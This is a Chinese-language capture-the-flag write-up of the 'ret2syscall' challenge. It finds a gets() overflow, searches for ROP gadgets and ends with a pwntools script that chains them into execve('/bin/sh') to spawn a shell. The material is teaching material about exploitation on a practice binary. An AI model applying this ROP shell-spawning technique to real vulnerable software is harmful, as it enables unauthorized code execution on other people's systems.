漏洞分析

题目ret2syscall

查看保护,开启了NX保护,不能ret2shellcode

1
2
3
4
5
6
7
8
┌──(root💀e267254b2ec9)-[/home/ret2sys]
└─# checksec rop
[*] '/home/ret2sys/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

反汇编主函数,很显然gets会导致栈溢出,v4相对于ebp的偏移量为108字节,需要覆盖的返回地址距离v4的偏移量为112字节

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

反汇编后没发现有system可以直接调用,没法ret2text,并且发现通过puts泄露地址去猜libc也不太适用,因为程序中有它自己写的puts函数,没法泄露和计算libc的加载基地址

image-20211209091500843

此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。采取使用ret2syscall即控制程序执行系统调用,获取 shell。

漏洞利用

关于系统调用

系统调用介绍

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号(在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h/usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。)来区分入口函数。操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);
  2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
  5. 中断处理函数返回到 API 中;
  6. API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;
  2. 把函数参数存入其它通用寄存器;
  3. 触发 0x80 号中断(int 0x80)。

如何使用系统调用

这里列出几个典型的系统调用号,具体更多的可以参考:Linux系统调用号 - gsharpsh00ter - 博客园 (cnblogs.com)

Linux在用int 0x80进行系统调用时,调用号存在于EAX,第一个参数存在于EBX,第二个参数存在于ECX,第三个参数存在于EDX

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -
2 sys_fork arch/i386/kernel/process.c struct pt_regs - - - -
3 sys_read fs/read_write.c unsigned int char * size_t - -
4 sys_write fs/read_write.c unsigned int const char * size_t - -
5 sys_open fs/open.c const char * int int - -
6 sys_close fs/open.c unsigned int - - - -
7 sys_waitpid kernel/exit.c pid_t unsigned int * int - -
8 sys_creat fs/open.c const char * int - - -
9 sys_link fs/namei.c const char * const char * - - -
10 sys_unlink fs/namei.c const char * - - - -
11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - -

此次利用中,我们第一个参数是/bin/sh,其实sh的地址也ok,后面的参数都是空也就是0,换作寄存器就是ebx指向/bin/sh的地址,ecx,edx等于0

execve("/bin/sh",NULL,NULL)

寻找gadgets

首先要让eax = 0xb,那么需要找的指令是pop eax,但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,所以pop之后还需要一个ret返回到控制程序执行流

1
2
3
4
5
6
7
┌──(root💀e267254b2ec9)-[/home/ret2sys]
└─# ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

选择0x080bb196 : pop eax ; ret

类似的,我们可以得到控制其它寄存器的 gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root💀e267254b2ec9)-[/home/ret2sys]
└─# ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret(这个可以直接控制其它三个寄存器。)

此外,我们需要获得 /bin/sh 字符串对应的地址。

1
2
3
4
5
┌──(root💀e267254b2ec9)-[/home/ret2sys]
└─# ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

1
2
3
4
5
6
7
┌──(root💀e267254b2ec9)-[/home/ret2sys]
└─# ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# encoding: utf-8
from pwn import *
context(os='linux', arch='i386', log_level='debug')

if __name__ == '__main__':
sh = process("./rop")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

打通!

References

Linux系统调用号 - gsharpsh00ter - 博客园 (cnblogs.com)

基本 ROP - CTF Wiki (ctf-wiki.org)